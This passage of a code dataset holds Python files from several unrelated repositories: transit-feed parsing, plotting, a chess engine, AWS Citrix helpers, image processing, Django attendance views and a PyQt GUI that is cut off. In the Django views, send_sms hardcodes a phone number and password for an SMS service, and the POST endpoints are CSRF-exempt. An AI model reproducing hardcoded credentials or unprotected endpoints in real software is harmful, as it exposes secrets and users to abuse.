self.stops[stop_id]\n stops = [stop]\n\n if stop.get(\"location_type\") == \"1\":\n # This stop is the parent station - just append the children\n stops.extend(\n self.stops[child_id]\n for child_id in self.stop_children.get(stop_id, [])\n if child_id in self.stops\n )\n\n elif stop.get(\"parent_station\") in self.stop_children:\n # This stop is a child in a station - first append the parent,\n # then the other children\n parent_id = stop[\"parent_station\"]\n\n if parent_id in self.stops:\n stops.append(self.stops[parent_id])\n\n stops.extend(\n self.stops[child_id]\n for child_id in self.stop_children.get(parent_id, [])\n if child_id in self.stops and child_id != stop_id\n )\n\n return stops\n\n def all_dates_of(self, service_id: str) -> set[date]:\n \"\"\"Returns a set of all date on which a particular calendar is active\"\"\"\n dates: set[date] = set()\n\n # Read the calendar.txt row\n calendar_row = self.calendar.get(service_id)\n if calendar_row:\n active_weekdays = {\n 0: calendar_row[\"monday\"] == \"1\",\n 1: calendar_row[\"tuesday\"] == \"1\",\n 2: calendar_row[\"wednesday\"] == \"1\",\n 3: calendar_row[\"thursday\"] == \"1\",\n 4: calendar_row[\"friday\"] == \"1\",\n 5: calendar_row[\"saturday\"] == \"1\",\n 6: calendar_row[\"sunday\"] == \"1\",\n }\n day = parse_gtfs_date(calendar_row[\"start_date\"])\n end = parse_gtfs_date(calendar_row[\"end_date\"])\n while day <= end:\n if active_weekdays[day.weekday()]:\n dates.add(day)\n day += timedelta(days=1)\n\n # Add the calendar_dates.txt rows\n for dates_row in self.calendar_dates.get(service_id, []):\n day = parse_gtfs_date(dates_row[\"date\"])\n if dates_row[\"exception_type\"] == \"1\":\n dates.add(day)\n elif dates_row[\"exception_type\"] == \"2\":\n dates.discard(day)\n\n return dates\n","repo_name":"MKuranowski/jvig","sub_path":"jvig/gtfs.py","file_name":"gtfs.py","file_ext":"py","file_size_in_byte":10605,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"41892371356","text":"import pickle\n\nimport matplotlib.cm as cm\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom encoders.rnn.siameseencoder import RecursiveNNSiameseEncoder\n\nif __name__ == '__main__':\n import sys\n import os\n\n if len(sys.argv) != 2:\n print(\"Usage \")\n sys.exit(-1)\n hyperparameters = dict(log_learning_rate=-1,\n rmsprop_rho=.98,\n momentum=0.8,\n minibatch_size=10,\n memory_size=32,\n grad_clip=10,\n log_init_scale_embedding=-1,\n dropout_rate=0,\n dissimilar_margin=.1)\n\n dataset = sys.argv[1]\n dset_name = os.path.basename(dataset)\n assert dset_name.endswith('.json.gz')\n dset_name = dset_name[:-len('.json.gz')]\n\n data_dump_name = 'datadump-' + dset_name + '.pkl'\n if not os.path.exists(data_dump_name):\n all_params = dict(hyperparameters)\n lm = RecursiveNNSiameseEncoder(dataset, hyperparameters)\n X, Y, Z = lm.scan_objective(dataset, 'Add')\n with open(data_dump_name, 'wb') as f:\n pickle.dump((X, Y, Z), f, pickle.HIGHEST_PROTOCOL)\n else:\n with open(data_dump_name, 'rb') as f:\n X, Y, Z = pickle.load(f)\n\n # plt.figure()\n # CS = plt.contour(X, Y, np.log(-Z + 1e-20), levels=[-20, -15, -10, -5, -2, -1, -0, 1, 2, 3, 4])\n # plt.clabel(CS, inline=1, fontsize=10)\n Z_norm = np.log(-Z + 1e-20)\n im = plt.imshow(-np.clip(Z, -2, 0), interpolation='gaussian', origin='lower',\n cmap=cm.gray, extent=(0, 1, 0, 1))\n levels = [-2, -1, 0, 1, 2, 3, 3.95, 4, 4.025, 4.04, 5, 6, 7, 8]\n CS = plt.contour(Z_norm, levels,\n origin='lower',\n linewidths=2,\n extent=(0, 1, 0, 1))\n\n plt.xlabel(\"add_weight\")\n plt.ylabel(\"subtract_weight\")\n plt.title('Objective Values')\n plt.grid()\n plt.show()\n","repo_name":"mast-group/eqnet","sub_path":"encoders/rnn/plotobjective.py","file_name":"plotobjective.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"31"} +{"seq_id":"74239974167","text":"class Solution:\n def groupThePeople(self, groupSizes: List[int]) -> List[List[int]]:\n \n hmap = defaultdict(list)\n res = []\n \n for idx,size in enumerate(groupSizes):\n if len(hmap[size]) < size:\n hmap[size].append(idx)\n else:\n res.append(hmap[size])\n hmap[size] = [idx]\n \n if hmap:\n for key in hmap:\n res.append(hmap[key])\n return res","repo_name":"GunalanD95/LeetCode","sub_path":"1282-group-the-people-given-the-group-size-they-belong-to/1282-group-the-people-given-the-group-size-they-belong-to.py","file_name":"1282-group-the-people-given-the-group-size-they-belong-to.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16348233572","text":"from django.shortcuts import render\nfrom django.shortcuts import HttpResponse\nfrom .models import temp_attendance\nfrom django.views.decorators.csrf import csrf_exempt\nfrom classes.models import classes\nfrom teacher.models import teacherprofile\nfrom student.models import studentprofile\nfrom datetime import datetime,timedelta\nfrom User.models import User\nfrom django.db.models import Q\nfrom attendance.models import attendance\nfrom subject.models import subject\nfrom STCrelation.models import STCrelation\nimport threading\nfrom . import way2sms\n\n# Create your views here.\n@csrf_exempt\ndef save1(request):\n print(request.POST)\n@csrf_exempt \ndef save(request):\n print(request.POST)\n RFID=request.POST['RFID'][1:9]\n print(RFID)\n Class=int(request.POST['class'][0])\n FLAG=int(request.POST['FLAG'][0])\n obj= temp_attendance()\n if FLAG==1:\n teacher_id=teacherprofile.objects.filter(RFID=RFID).values_list('user_id',flat=True)[0]\n if not teacher_id:\n print(\"not teacher\")\n else:\n obj.User = User.objects.filter(id=teacher_id)[0]\n obj.FLAG = True\n obj.Class = classes.objects.get(id=Class)\n obj.save()\n print(\"Teacher has entered\")\n#SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS \n timer = threading.Timer(120.0,send_sms,[Class]) \n timer.start()\n#MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM \n \n elif FLAG==0:\n student_id=studentprofile.objects.filter(RFID=RFID).values_list('user_id',flat=True)[0]\n if not student_id:\n print(\"not stu\")\n else:\n obj.User = User.objects.get(pk=student_id)\n obj.FLAG =False\n obj.Class = classes.objects.get(id=Class)\n obj.save()\n print(\"Student has entered\")\n else:\n print(\"Something Wrong with Card!!!\")\n return HttpResponse(\"Added\")\n \n \n@csrf_exempt \ndef Apply(request):\n RFID=request.POST['RFID'][1:9]\n Class=int(request.POST['class'][0])\n FLAG=int(request.POST['FLAG'][0])\n obj= temp_attendance()\n if FLAG==1:\n teacher_id = teacherprofile.objects.filter(RFID=RFID).values_list('user_id',flat=True)[0]\n q=Q(User=teacher_id) & Q(Class=Class) \n temp_attendance.objects.filter(q).delete()\n for student in temp_attendance.objects.filter(Class=Class):\n O = attendance()\n O.teacher=teacherprofile.objects.get(pk=teacher_id)\n O.student=studentprofile.objects.get(user_id=student.User)\n O.Class=classes.objects.get(pk=Class)\n print(O.teacher)\n print(O.Class)\n O.subject=subject.objects.get(pk=STCrelation.objects.filter(teacher=O.teacher,Class=O.Class).values_list('subject',flat=True)[0])\n O.entry_time = student.date_time\n O.date_time=student.date_time-timedelta(minutes=student.date_time.minute,seconds=student.date_time.second)\n O.save()\n elif FLAG==0:\n student_id=studentprofile.objects.filter(RFID=RFID).values_list('user_id',flat=True)[0]\n temp_attendance.objects.filter(User=student_id,Class=Class).delete()\n return HttpResponse(\"hurry\")\n \n########################################## \ndef send_sms(Class):\n q=(Q(Class=Class)&Q(FLAG=0)) #remove class if not working\n c=temp_attendance.objects.filter(q).count()\n msg= \"student count = \" + str(c)\n q=way2sms.Sms('8554093340','Abhishek123')\n q.send('8554093340',msg)\n q.logout()\n##################################\n \n \n \n \n ","repo_name":"abhishek-rr/Attendance_system","sub_path":"project/attendance_system/temp_att/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3677,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"14174557636","text":"from BoardState import Board\n\nclass Game:\n def __init__(self):\n self.board = Board()\n self.undo_info_history = []\n self.times_at_board = {}\n self.board_id = self.board.get_board_hash()\n self.times_at_board[self.board_id] = 1\n\n def do_str_move(self, str_move):\n undo_info = self.board.do_str_move(str_move)\n if (undo_info != None):\n self.undo_info_history.append(undo_info)\n\n board_id = self.board.get_board_hash()\n self.board_id = board_id\n if (board_id in self.times_at_board):\n self.times_at_board[board_id] = self.times_at_board[board_id] + 1\n # print('duplicate board')\n else:\n self.times_at_board[board_id] = 1\n \n #game_status = self.is_game_over()\n return undo_info[0] # the actual move object corresponding to the string\n return None\n\n def do_move(self, move):\n undo_info = self.board.do_move(move)\n if (undo_info != None):\n self.undo_info_history.append(undo_info)\n\n board_id = self.board.get_board_hash()\n self.board_id = board_id\n # print('do: ' + str(board_id))\n if (board_id in self.times_at_board):\n self.times_at_board[board_id] = self.times_at_board[board_id] + 1\n # print('duplicate board')\n else:\n self.times_at_board[board_id] = 1\n \n #game_status = self.is_game_over()\n return True\n return False\n\n def get_legal_moves(self):\n return self.board.get_moves_from_state()\n\n def get_team_to_move(self):\n return self.board.team_to_move\n\n def undo_move(self):\n if (len(self.undo_info_history) > 0):\n undo_info = self.undo_info_history.pop()\n \n if (not self.board_id in self.times_at_board):\n print('got tripped up when undoing')\n else:\n self.times_at_board[self.board_id] = self.times_at_board[self.board_id] - 1\n if (self.times_at_board[self.board_id] == 0):\n del self.times_at_board[self.board_id]\n \n self.board.undo_move(undo_info[0], undo_info[1], undo_info[2], undo_info[3])\n board_id = self.board.get_board_hash()\n self.board_id = board_id\n # print('undo: ' + str(board_id))\n if (self.board_id not in self.times_at_board):\n print('undid to unrecognized board')\n print('move: ' + str(undo_info[0]))\n else:\n print('cannot undo past starting board')\n\n def get_board_hash(self):\n return self.board_id\n\n def get_nnet_inputs(self):\n if (self.board_id in self.times_at_board):\n return self.board.nnet_inputs(self.times_at_board[self.board_id])\n else:\n print('error, didnt recognize current board')\n return self.board.nnet_inputs(0)\n\n def is_game_over(self, print_reason = False):\n\n # insufficient material list:\n # king vs king\n # king and bishop vs king\n # king and knight vs king\n # king and bishop vs king and same color bishop\n insufficient_material = True\n bishop_counts = [0, 0]\n bishop_colors = [False, False]\n knight_count = 0\n \n for piece in self.board.pieces:\n if (insufficient_material and piece.alive):\n if (piece.name != \"Bishop\" and piece.name != \"Knight\"):\n insufficient_material = False\n elif (piece.name == \"Bishop\"):\n bishop_color = ((piece.row + piece.col) % 2 == 0)\n if (piece.team):\n bishop_counts[0] = bishop_counts[0] + 1\n if (bishop_counts[0] > 1):\n insufficient_material = False\n else:\n bishop_colors[0] = bishop_color\n else:\n bishop_counts[1] = bishop_counts[1] + 1\n if (bishop_counts[1] > 1):\n insufficient_material = False\n else:\n bishop_colors[1] = bishop_color\n elif (piece.name == \"Knight\"):\n knight_count += 1\n if (knight_count > 1):\n insufficient_material = False\n \n if (insufficient_material):\n if (knight_count > 0 and (bishop_counts[0] + bishop_counts[1] > 0)):\n insufficient_material = False\n elif (bishop_counts[0] == 1 and bishop_counts[1] == 1):\n if (bishop_colors[0] != bishop_colors[1]):\n insufficient_material = False\n\n if (insufficient_material):\n if (print_reason):\n print('Draw by insufficient material')\n return 0 # draw by insufficient material\n\n # threefold repetition\n if self.board_id not in self.times_at_board:\n print('could not find ' + str(self.board_id))\n print(self.times_at_board)\n print('ERROR: got tripped up when checking for 3fold repetition')\n elif (self.times_at_board[self.board_id] == 3):\n if (print_reason):\n print('Draw by threefold repetition')\n return 0 # draw by threefold repetition\n\n \n # 50 moves without capturing or moving any pawns\n if (self.board.moves_since_advancement >= 100): # 100 because the board is counting plys, or half-moves\n if (print_reason):\n print('Draw due to 50 moves without advancement')\n return 0 # draw by the 50 move rule\n \n \n move_list = self.board.get_moves_from_state()\n if (len(move_list) == 0):\n if (self.board.team_in_check(self.board.team_to_move)):\n if (print_reason):\n print('Checkmate')\n return 1 # checkmate\n else:\n if (print_reason):\n print('Stalemate')\n return 0 # stalemate\n else:\n return -1 # game still going\n\n def get_pieces(self):\n pieces = []\n for piece in self.board.pieces:\n if (piece.alive):\n pieces.append(piece)\n for king in self.board.kings:\n if (king.alive):\n pieces.append(king)\n return pieces\n\n def is_square_friendly(self, row, col):\n piece_on_square = self.board.get_piece_at(row, col)\n if (piece_on_square != None):\n return piece_on_square.team == self.board.team_to_move\n return False\n\n def legal_moves_from_square(self, row, col):\n legal_move_positions = []\n for move in self.board.get_moves_from_state():\n if (move.start_row == row and move.start_col == col):\n end_pos = (move.end_row, move.end_col)\n legal_move_positions.append(end_pos)\n return legal_move_positions\n\n \n","repo_name":"BryceGerst/PythonChessBot","sub_path":"ChessEngine/Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":7156,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"72443226009","text":"import json\nimport requests\nimport boto3\nimport re\nfrom operator import itemgetter\n\nfrom .helpers import logger, to_json, cidr_to_netmask, get_gateway_ip, waitfor\nfrom . import CITRIX_AWS_PRODUCTS\n\n\nec2_client = boto3.client('ec2')\n\n\ndef send_response(event, context, response_status, response_data, physical_resource_id=None, fail_reason=None):\n response_url = event['ResponseURL']\n\n logger.info(\n 'Lambda Backed Custom resource response: going to respond to ' + response_url)\n\n response_body = {}\n response_body['Status'] = response_status\n response_body['Reason'] = 'See the details in CloudWatch Log Stream: ' + \\\n context.log_stream_name\n if fail_reason is not None:\n response_body['Reason'] += ' :--> FAILED REASON: ' + fail_reason\n response_body['PhysicalResourceId'] = physical_resource_id or context.log_stream_name\n response_body['StackId'] = event['StackId']\n response_body['RequestId'] = event['RequestId']\n response_body['LogicalResourceId'] = event['LogicalResourceId']\n response_body['Data'] = response_data\n\n json_response_body = json.dumps(response_body)\n\n logger.info('Lambda Backed Custom resource Response body:\\n' +\n json_response_body)\n\n headers = {\n 'content-type': '',\n 'content-length': str(len(json_response_body))\n }\n\n try:\n response = requests.put(response_url,\n data=json_response_body,\n headers=headers)\n logger.info(\n 'Lambda Backed Custom resource response success: Status code: ' + response.reason)\n except Exception as e:\n logger.error('Lambda Backed Custom resource response: Failed to post response to ' +\n response_url + ': ' + str(e))\n\n\ndef get_subnet_address(subnet_id):\n filters = []\n subnets = ec2_client.describe_subnets(\n SubnetIds=[subnet_id], Filters=filters)\n logger.info('subnets: {}'.format(subnets))\n try:\n cidr = subnets['Subnets'][0]['CidrBlock']\n return cidr_to_netmask(cidr)\n except Exception as e:\n logger.error('Could not get subnet details: ' + str(e))\n\n\ndef get_subnet_gateway(subnet_id):\n filters = []\n subnets = ec2_client.describe_subnets(\n SubnetIds=[subnet_id], Filters=filters)\n logger.info('subnets: {}'.format(subnets))\n try:\n cidr = subnets['Subnets'][0]['CidrBlock']\n return get_gateway_ip(cidr)\n except Exception as e:\n logger.error('Could not get subnet details: ' + str(e))\n\n\ndef get_reachability_status(nsip, instID):\n response = ec2_client.describe_instance_status(\n Filters=[],\n InstanceIds=[instID],\n )\n\n r_status = response['InstanceStatuses'][0]['InstanceStatus']['Details'][0]['Status']\n logger.debug('Rechability Status for {}: {}'.format(nsip, r_status))\n return r_status.strip()\n\n\ndef get_latest_citrixadc_ami(version, product):\n response = ec2_client.describe_images(Filters=[{'Name': 'description', 'Values': [\n 'Citrix NetScaler and CloudBridge Connector {}*'.format(version)]}])\n logger.debug('describe_images response: {}'.format(to_json(response)))\n product_images = []\n for image in response['Images']:\n pattern = r\"^Citrix NetScaler and CloudBridge Connector (\\d+.\\d+-\\d+.\\d+)-?(64|32)?(-sriov)?-(\\w{8}-\\w{4}-\\w{4}-\\w{4}-\\w{12})-.*$\"\n # Citrix NetScaler and CloudBridge Connector 12.0-60.9-32-sriov-755645a9-d61f-4350-bb91-a6ef204debb3-ami-05fcef5bbc508ad65.4\n name = image['Name']\n z = re.match(pattern, name)\n if z:\n grp = z.groups()\n ProductID = grp[3]\n try:\n if ProductID.strip() == CITRIX_AWS_PRODUCTS[product]:\n product_images.append(image)\n except KeyError:\n raise Exception('Unknown Product {}', format(product))\n else:\n raise Exception('Do not have any AMIs in the product specified')\n logger.debug('Sorted product images: {}'.format(to_json(product_images)))\n return sorted(product_images, key=itemgetter('CreationDate'), reverse=True)[0]['ImageId']\n\n\ndef wait_for_reachability_status(status, max_retries, adc_ip, adc_instanceid):\n retries = 1\n while retries <= max_retries:\n if get_reachability_status(adc_ip, adc_instanceid) == \"passed\":\n logger.info(\n 'Citrix ADC VPX instances {} reachability status passed'.format(adc_ip))\n break\n waitfor(5, \"ADC {} Rechabiliy status is not passed yet. Try No.{}\".format(\n adc_ip, retries))\n retries += 1\n else:\n raise Exception('ADC {} did not pass the reachability status after {} tries'.format(\n adc_ip, max_retries))\n\n\ndef assign_secondary_ip_address(eni, ip_list=[], num_of_sec_ip=1):\n response = ec2_client.assign_private_ip_addresses(\n NetworkInterfaceId=eni,\n **(dict(PrivateIpAddresses=ip_list) if ip_list else {}),\n **(dict(SecondaryPrivateIpAddressCount=num_of_sec_ip) if not ip_list else {}),\n )\n return [ip['PrivateIpAddress'] for ip in response['AssignedPrivateIpAddresses']]\n\ndef get_enis(instid):\n response = ec2_client.describe_instances(InstanceIds=[instid])\n return response['Reservations'][0]['Instances'][0]['NetworkInterfaces']\n\ndef get_vip_eni(instid):\n # VIP has device index as 1 \n enis = get_enis(instid)\n for eni in enis:\n if eni['Attachment']['DeviceIndex'] == 1:\n return eni['NetworkInterfaceId']\n else:\n raise Exception('Could not find VIP ENI for instance-id {}'.format(instid))\n\ndef get_snip_eni(instid):\n # VIP has device index as 1 \n enis = get_enis(instid)\n for eni in enis:\n if eni['Attachment']['DeviceIndex'] == 2:\n return eni['NetworkInterfaceId']\n else:\n raise Exception('Could not find SNIP ENI for instance-id {}'.format(instid))\n\n\ndef get_vip_subnet(instid):\n enis = get_enis(instid)\n for eni in enis:\n if eni['Attachment']['DeviceIndex'] == 1:\n return eni['SubnetId']\n else:\n raise Exception('Could not find VIP SubnetID for instance-id {}'.format(instid))\n\n\ndef get_snip_subnet(instid):\n enis = get_enis(instid)\n for eni in enis:\n if eni['Attachment']['DeviceIndex'] == 2:\n return eni['SubnetId']\n else:\n raise Exception('Could not find SNIP SubnetID for instance-id {}'.format(instid))\n\n","repo_name":"aws-quickstart/quickstart-citrix-adc-waf","sub_path":"functions/source/waf/barbarika/aws.py","file_name":"aws.py","file_ext":"py","file_size_in_byte":6479,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"27821758681","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Apr 21 10:50:25 2019\n\n@author: nasrin moshayedi\n\"\"\"\nimport cv2\nimport numpy as np\n\nimg = cv2.imread('5pani.png')\ngray= cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n\nsift = cv2.xfeatures2d.SIFT_create()\nkp = sift.detect(gray,None)\n#img=cv2.drawKeypoints(gray,kp, img)\nimg=cv2.drawKeypoints(gray,kp,img, flags=cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\ncv2.imwrite('sift_5pani.png',img)\n#cv2.imwrite('temp_sift.jpg',img)\n","repo_name":"nasrin-moshayedi/computer_vision","sub_path":"image_prosessing/foutrh_assignment/sift.py","file_name":"sift.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73477307608","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef graficar_combinaciones_lineales(v1, v2):\n plt.figure()\n\n for c1 in range(-10, 11):\n for c2 in range(-10, 11):\n combinacion_lineal = c1 * v1 + c2 * v2\n print(combinacion_lineal)\n plt.quiver(0, 0, combinacion_lineal[0], combinacion_lineal[1], angles='xy', scale_units='xy', scale=1, color='b', alpha=0.3)\n\n # Configuraciones adicionales\n plt.xlim(-50, 50)\n plt.ylim(-50, 50)\n plt.xlabel('X')\n plt.ylabel('Y')\n plt.axhline(0, color='black', linewidth=0.5)\n plt.axvline(0, color='black', linewidth=0.5)\n plt.grid(color='gray', linestyle='--', linewidth=0.5)\n plt.title('Todas las Combinaciones Lineales de dos Vectores')\n plt.show()\n\n# Definir dos vectores en el plano xy\nv1 = np.array([2, 1])\nv2 = np.array([-1, 3])\n\n# Llamar a la función para graficar todas las combinaciones lineales\ngraficar_combinaciones_lineales(v1, v2)\n","repo_name":"CristianSifuentes/FundamentalsLinearAlgebraWithPython","sub_path":"AllLinearCombination.py","file_name":"AllLinearCombination.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"23453629159","text":"import cv2\r\nimport depthai as dai\r\nimport numpy as np\r\n#import timeit\r\n\r\nnnPathDefault = r'C:\\Users\\e-default\\Documents\\!OpenCV AI Competition\\frozen_graph_new.blob'\r\n\r\n# Create pipeline\r\npipeline = dai.Pipeline()\r\npipeline.setOpenVINOVersion(dai.OpenVINO.Version.VERSION_2021_2)\r\n\r\n# Create color cam node\r\ncamRgb = pipeline.createColorCamera()\r\ncamRgb.setPreviewSize(256, 256)\r\ncamRgb.setInterleaved(False)\r\ncamRgb.setFps(10)\r\n\r\n# create image manip node\r\nmanip = pipeline.createImageManip()\r\nmanip.initialConfig.setResize(256, 256)\r\nmanip.initialConfig.setFrameType(dai.ImgFrame.Type.RGB888p)\r\n\r\n# create nn node\r\nnn = pipeline.createNeuralNetwork()\r\nnn.setBlobPath(nnPathDefault)\r\nnn.setNumInferenceThreads(2)\r\nnn.input.setBlocking(False)\r\n\r\n# link the nodes\r\ncamRgb.preview.link(manip.inputImage)\r\nmanip.out.link(nn.input)\r\n\r\n# output nodes\r\nxoutRgb = pipeline.createXLinkOut()\r\nxoutRgb.setStreamName(\"rgb\")\r\ncamRgb.preview.link(xoutRgb.input)\r\n\r\nnnOut = pipeline.createXLinkOut()\r\nnnOut.setStreamName(\"nn\")\r\nnn.out.link(nnOut.input)\r\n\r\n# Connect to device and start pipeline\r\nwith dai.Device(pipeline) as device:\r\n\r\n # Output queues will be used to get the grayscale / depth frames and nn data from the outputs defined above\r\n qRgb = device.getOutputQueue(name=\"rgb\", maxSize=4, blocking=False)\r\n qNet = device.getOutputQueue(name=\"nn\", maxSize=4, blocking=False)\r\n \r\n def customReshapeV1(x, target_shape):\r\n row, col, ch = target_shape\r\n arr3d = []\r\n arr2d = None\r\n \r\n for i in range(len(x)//col):\r\n if i % col == 0 and i != 0:\r\n arr3d.append(arr2d)\r\n arr2d = None\r\n \r\n idx1 = i * col\r\n idx2 = idx1 + col\r\n arr1d = np.reshape(x[idx1:idx2], (1, col, 1))\r\n \r\n if arr2d is None:\r\n arr2d = arr1d.copy()\r\n else:\r\n arr2d = np.concatenate((arr2d, arr1d), axis = 0)\r\n \r\n arr3d.append(arr2d)\r\n arr3d = np.concatenate(arr3d, axis=-1)\r\n \r\n return arr3d\r\n \r\n def customReshape(x, target_shape):\r\n x = np.reshape(x, target_shape, order='F')\r\n for i in range(3):\r\n x[:,:,i] = np.transpose(x[:,:,i])\r\n \r\n return x\r\n \r\n def show_deeplabv3p(output_colors, mask):\r\n mask = ((mask + 1) / 2 * 255).astype(np.uint8)\r\n return cv2.addWeighted(mask,0.8, output_colors,0.5,0)\r\n \r\n t1 = 0\r\n t2 = 0\r\n # start looping\r\n while True:\r\n # Instead of get (blocking), we use tryGet (nonblocking) which will return the available data or None otherwise\r\n inRGB = qRgb.tryGet()\r\n inNet = qNet.tryGet()\r\n\r\n if inRGB is not None:\r\n rgb = inRGB.getCvFrame()\r\n cv2.imshow('rgb', rgb)\r\n \r\n if inNet is not None:\r\n '''\r\n t2 = timeit.default_timer()\r\n print(t2-t1, t1, t2)\r\n t1 = t2\r\n '''\r\n mask = inNet.getFirstLayerFp16()\r\n mask = np.array(mask)\r\n mask = customReshape(mask, (256, 256, 3))\r\n mask = show_deeplabv3p(rgb, mask)\r\n cv2.imshow('mask', mask)\r\n\r\n # quit if user pressed 'q'\r\n if cv2.waitKey(1) == ord('q'):\r\n cv2.destroyAllWindows() \r\n break","repo_name":"yjwong1999/Walkable_Path_Segmentation","sub_path":"oakd_segmentation.py","file_name":"oakd_segmentation.py","file_ext":"py","file_size_in_byte":3278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8999051264","text":"from segmentation_ui import Ui_Segmentation\r\nimport breeze_resources#light layout\r\nfrom PyQt5 import QtCore, QtWidgets, QtWebChannel\r\nfrom PyQt5.QtWidgets import QWidget, QFileDialog, QMessageBox\r\nfrom PyQt5.QtCore import QThread, Qt, pyqtSignal, QFile, QTextStream\r\n\r\nimport sys\r\nimport os\r\nimport traceback\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport PIL\r\nfrom PIL import Image\r\n\r\nimport json\r\nfrom skimage import exposure\r\n\r\nfrom imagedisplay import fig2rgb_array\r\nfrom plotly_voxel_plot import *\r\n\r\nclass FileDialog(QWidget):\r\n outfilepath = pyqtSignal(str)\r\n folder = pyqtSignal(str)\r\n #filepath = pyqtSignal(str)\r\n\r\n def __init__(self, file_ending = \".csv\"):\r\n \"\"\" A File dialog could either be used to show a dialog to create and output file (i.e. to get a nonexisting path),\r\n to open a file or to get the name of a folder. The respective member functions may be used in this respect. The filepath is returned and emitted as a pyqtSignal\r\n Args:\r\n file_ending: The file ending of the file to be selected (Use empty string for Folder selection)\r\n \"\"\"\r\n self.file_ending = file_ending\r\n self.columns = None\r\n QWidget.__init__(self)\r\n\r\n def create_output_file(self):\r\n \"\"\" Opens dialog for non-existing files and returns path.\r\n Returns:\r\n Path to a non-existing file (str). If the specified filename does not end with self.filepath the respective ending is added.\r\n \"\"\"\r\n options = QFileDialog.Options()\r\n options |= QFileDialog.DontUseNativeDialog\r\n filename, _ = QFileDialog.getSaveFileName(None,\"Select the output file\", \"\", self.file_ending[:] +\" (*.\"+self.file_ending[1:]+\");;\", options=options)\r\n\r\n if filename:\r\n if not filename.endswith(self.file_ending):\r\n filename += self.file_ending\r\n self.outfilepath.emit(filename)\r\n return filename\r\n\r\n def open_file(self):\r\n \"\"\" Opens a file dialog for existing files. Emits path as signal outfilepath.\r\n Returns:\r\n Path to existing file. The ending specified in self.filepath is added if the file does not already end with named string (str)\r\n \"\"\"\r\n options = QFileDialog.Options()\r\n options |= QFileDialog.DontUseNativeDialog\r\n filename, _ = QFileDialog.getOpenFileName(None,\"Select the output file\", \"\", self.file_ending[1:] +\" (*.\"+self.file_ending[1:]+\");;\", options=options)\r\n self.outfilepath.emit(filename)\r\n return filename\r\n\r\n\r\n def get_folder_path(self):\r\n \"\"\" Opens dialog for folder selection. Emits path as signal folder.\r\n Returns:\r\n Path to folder (str)\r\n \"\"\"\r\n options = QFileDialog.Options()\r\n options |= QFileDialog.DontUseNativeDialog\r\n path = QFileDialog.getExistingDirectory(None,\"Select folder...\",os.getcwd(),options=options)\r\n if path:\r\n self.folder.emit(path)\r\n return path\r\n\r\nclass MicroTomographyAnalyzer(QWidget):\r\n def __init__(self, widget_handled, ui):\r\n \"\"\" Initializes Main App.\r\n args:\r\n widget_handled: For this widget events are handeled by MainApp\r\n ui: User interface\r\n \"\"\"\r\n QWidget.__init__(self, widget_handled)\r\n\r\n self.ui = ui\r\n self.widget_handled = widget_handled #Widget for event Handling. All events are checked and if not arrow keys passed on. See eventFilter below\r\n self.source_dir = \"\"\r\n self.tensor_loader = MicroTomographyAnalyzer.TensorLoader()\r\n self.tensor = None\r\n\r\n self.Mesh3d = MicroTomographyAnalyzer.Mesh3dDisplay(self)\r\n\r\n self.slicer = MicroTomographyAnalyzer.Slicer(self)\r\n self.rotator = MicroTomographyAnalyzer.Rotator(self)\r\n\r\n self.slice_xy = True\r\n self.slice_xz = False\r\n self.slice_yz = False\r\n self.current_slice = 0\r\n\r\n #Prepare the webview\r\n file = os.path.join(os.path.dirname(os.path.realpath(__file__)),\"react/plot_3d/build/index.html\")\r\n self.ui.webEngineView.setUrl(QtCore.QUrl.fromLocalFile(file))\r\n channel = self.channel = QtWebChannel.QWebChannel()\r\n channel.registerObject(\"MainWindow\", self)\r\n self.ui.webEngineView.page().setWebChannel(channel)\r\n self.make_connections()\r\n\r\n #self.ui.update_plot.clicked.connect(lambda: self.set_mesh(random.sample(range(10, 30), 20),random.sample(range(10, 30), 20),random.sample(range(10, 30), 20)))\r\n\r\n\r\n def set_display_axis(self, axis):\r\n \"\"\" Sets axis that is used to slice tensor for display purposes \"\"\"\r\n if axis == \"yx\":\r\n self.slice_xy = True\r\n self.slice_xz = False\r\n self.slice_yz = False\r\n elif axis == \"xz\":\r\n self.slice_xy = False\r\n self.slice_xz = True\r\n self.slice_yz = False\r\n elif axis == \"yz\":\r\n self.slice_xy = False\r\n self.slice_xz = False\r\n self.slice_yz = True\r\n self.display_slice(0)\r\n\r\n def make_connections(self):\r\n \"\"\" Esdtablishes connections between GUI and fucntionalities.\"\"\"\r\n self.tensor_loader.tensor.connect(self.set_tensor)\r\n self.tensor_loader.update_info.connect(self.ui.progress.setValue)\r\n self.ui.next.clicked.connect(lambda: self.display_slice(self.current_slice+1))\r\n self.ui.previous.clicked.connect(lambda: self.display_slice(self.current_slice-1))\r\n self.ui.axis.currentTextChanged.connect(self.set_display_axis)\r\n self.slicer.output_tensor.connect(self.set_tensor)\r\n self.ui.actionRotate.triggered.connect(lambda x: self.ui.tools.setCurrentWidget(self.ui.page_rotating))\r\n 